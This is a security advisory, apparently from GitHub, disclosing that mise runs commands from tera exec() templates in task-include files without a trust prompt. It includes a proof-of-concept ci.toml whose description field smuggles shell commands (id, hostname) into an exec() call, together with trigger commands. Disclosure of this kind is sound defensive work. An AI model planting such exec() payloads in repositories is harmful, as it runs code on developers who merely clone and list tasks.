Find a vulnerability
Search criteria
Related vulnerabilities
GHSA-77G9-363W-RCCQ
Vulnerability from github – Published: 2026-06-23 18:24 – Updated: 2026-06-23 18:24Summary
mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task
Details
Trust is enforced only inside config-file parsing:
src/config/config_file/mise_toml.rs:276—MiseToml::from_str→trust_check(path)?src/config/config_file/tool_versions.rs:62—.tool-versionsparser →trust_check(&path)?src/config/env_directive/mod.rs:681— env templates →trust_check(path)?(only when the value contains template syntax)
Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context,
which walk every directory from CWD up to root. For each directory, configs_at_root
returns the parsed (trusted) configs rooted there; if there is no config in the
directory, mise falls back to the default task-include list resolved relative to that
directory and loads whatever it finds — with no trust check:
src/config/mod.rs (load_tasks_in_dir, ~2586):
let (includes, resolve_dir) = configs
.iter()
.find_map(|cf| match cf.task_config_includes() { … })
.transpose()?
.unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
let paths = … expand_task_include(&resolve_dir, include);
for p in paths {
let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
…
}
}
default_task_includes() (src/config/mod.rs:1825):
vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]
load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check
and renders each task:
let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ; // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … } // renders tera, incl. exec()
Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera
instance is built with get_tera(Some(config_root)):
let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}
get_tera (src/tera.rs:407) registers the command-executing functions:
pub fn get_tera(dir: Option<&Path>) -> Tera {
let mut tera = TERA.clone();
let dir = dir.map(PathBuf::from);
tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
tera.register_function("read_file", tera_read_file(dir));
tera
}
So a tera {{ exec(command='…') }} placed in any rendered task field
(description, dir, shell, sources, aliases, depends, tools, …) of a TOML
task file — or in a #MISE description="…" header of an executable script task
(Task::from_path) — executes when the task is merely loaded for listing, with no
trust prompt. exec() is not gated by experimental (default experimental = false).
Proof of concept
Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a
pristine HOME so nothing is pre-trusted.
Repo layout :
malicious-repo/
└── mise-tasks/
└── ci.toml
mise-tasks/ci.toml:
[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"
Trigger (any of these; a victim who has mise activate set up hits the last one by just
pressing Tab to complete a task name):
export HOME="$(mktemp -d)" # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks # or: mise task ls / mise run / mise tasks --usage
output:
test
and the side effect :
miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "mise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.6.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55441"
],
"database_specific": {
"cwe_ids": [
"CWE-732",
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T18:24:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nmise\u0027s trust feature gates config files (`mise.toml`, `.tool-versions`) through `trust_check`, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (`mise-tasks/`, `.mise/tasks/`, \u2026) but no config file, mise falls back to the default includes and renders each task\u0027s tera fields \u2014 and that tera environment has `exec()` registered. A `{{ exec(command=\u0027\u2026\u0027) }}` in any rendered field runs arbitrary commands the moment the tasks are merely listed. There\u0027s no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: `mise tasks`, `mise task ls`, `mise run`, `mise tasks --usage` (the query shell completion runs on Tab). The victim only has to `cd` into a cloned repo and list or tab-complete a task\n## Details\n\nTrust is enforced only inside config-file parsing:\n\n- `src/config/config_file/mise_toml.rs:276` \u2014 `MiseToml::from_str` \u2192 `trust_check(path)?`\n- `src/config/config_file/tool_versions.rs:62` \u2014 `.tool-versions` parser \u2192 `trust_check(\u0026path)?`\n- `src/config/env_directive/mod.rs:681` \u2014 env templates \u2192 `trust_check(path)?` (only when the value contains template syntax)\n\nTask-include files are loaded by `load_tasks_in_dir` / `load_local_tasks_with_context`,\nwhich walk every directory from CWD up to root. For each directory, `configs_at_root`\nreturns the parsed (trusted) configs rooted there; **if there is no config in the\ndirectory**, mise falls back to the default task-include list resolved relative to that\ndirectory and loads whatever it finds \u2014 with no trust check:\n\n`src/config/mod.rs` (`load_tasks_in_dir`, ~2586):\n```rust\nlet (includes, resolve_dir) = configs\n .iter()\n .find_map(|cf| match cf.task_config_includes() { \u2026 })\n .transpose()?\n .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -\u003e default includes\n\u2026\nfor include in \u0026includes {\n let paths = \u2026 expand_task_include(\u0026resolve_dir, include);\n for p in paths {\n let mut loaded = load_tasks_includes(config, \u0026p, dir, \u0026task_config_dir, templates).await?;\n \u2026\n }\n}\n```\n\n`default_task_includes()` (`src/config/mod.rs:1825`):\n```rust\nvec![\"mise-tasks\", \".mise-tasks\", \".mise/tasks\", \".config/mise/tasks\", \"mise/tasks\"]\n```\n\n`load_task_file` (`src/config/mod.rs:2645`) reads the TOML directly with no trust check\nand renders each task:\n```rust\nlet raw = file::read_to_string_async(path).await?;\nlet mut tasks = toml::from_str::\u003cTasks\u003e(\u0026raw) \u2026 ; // no trust_check\n\u2026\nresolve_task_template(\u0026mut task, templates)?;\nif let Err(err) = task.render(config, \u0026config_root).await { \u2026 } // renders tera, incl. exec()\n```\n\n`Task::render` (`src/task/mod.rs:1475`) renders many fields through tera, and the tera\ninstance is built with `get_tera(Some(config_root))`:\n```rust\nlet mut tera = get_tera(Some(config_root));\n\u2026\nif contains_template_syntax(\u0026self.description) {\n self.description = render_str(\u0026mut tera, \u0026self.description, \u0026tera_ctx)?;\n}\n```\n\n`get_tera` (`src/tera.rs:407`) registers the command-executing functions:\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n let mut tera = TERA.clone();\n let dir = dir.map(PathBuf::from);\n tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n tera.register_function(\"read_file\", tera_read_file(dir));\n tera\n}\n```\n\nSo a tera `{{ exec(command=\u0027\u2026\u0027) }}` placed in any rendered task field\n(`description`, `dir`, `shell`, `sources`, `aliases`, `depends`, `tools`, \u2026) of a TOML\ntask file \u2014 or in a `#MISE description=\"\u2026\"` header of an executable script task\n(`Task::from_path`) \u2014 executes when the task is merely *loaded for listing*, with no\ntrust prompt. `exec()` is not gated by `experimental` (default `experimental = false`).\n\n## Proof of concept\n\nTested against the prebuilt release binary, `mise 2026.6.4 linux-x64`, with a\npristine `HOME` so nothing is pre-trusted.\n\nRepo layout :\n```\nmalicious-repo/\n\u2514\u2500\u2500 mise-tasks/\n \u2514\u2500\u2500 ci.toml\n```\n\n`mise-tasks/ci.toml`:\n```toml\n[test]\ndescription = \"{{ exec(command=\u0027id \u003e /tmp/mise_clone_proof.txt; hostname \u003e\u003e /tmp/mise_clone_proof.txt\u0027) }}\"\nrun = \"cargo test\"\n```\n\nTrigger (any of these; a victim who has `mise activate` set up hits the last one by just\npressing Tab to complete a task name):\n```bash\nexport HOME=\"$(mktemp -d)\" # nothing pre-trusted\nexport MISE_TRUSTED_CONFIG_PATHS=\"\"\ncd malicious-repo\nmise tasks # or: mise task ls / mise run / mise tasks --usage\n```\n\noutput:\n```\ntest\n```\nand the side effect :\n```\nmiau@linux:~$ cat /tmp/mise_clone_proof.txt\nuid=1000(miau) gid=1000(miau) groups=1000(miau)\u2026\nlinux \n```",
"id": "GHSA-77g9-363w-rccq",
"modified": "2026-06-23T18:24:08Z",
"published": "2026-06-23T18:24:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jdx/mise/security/advisories/GHSA-77g9-363w-rccq"
},
{
"type": "PACKAGE",
"url": "https://github.com/jdx/mise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository"
}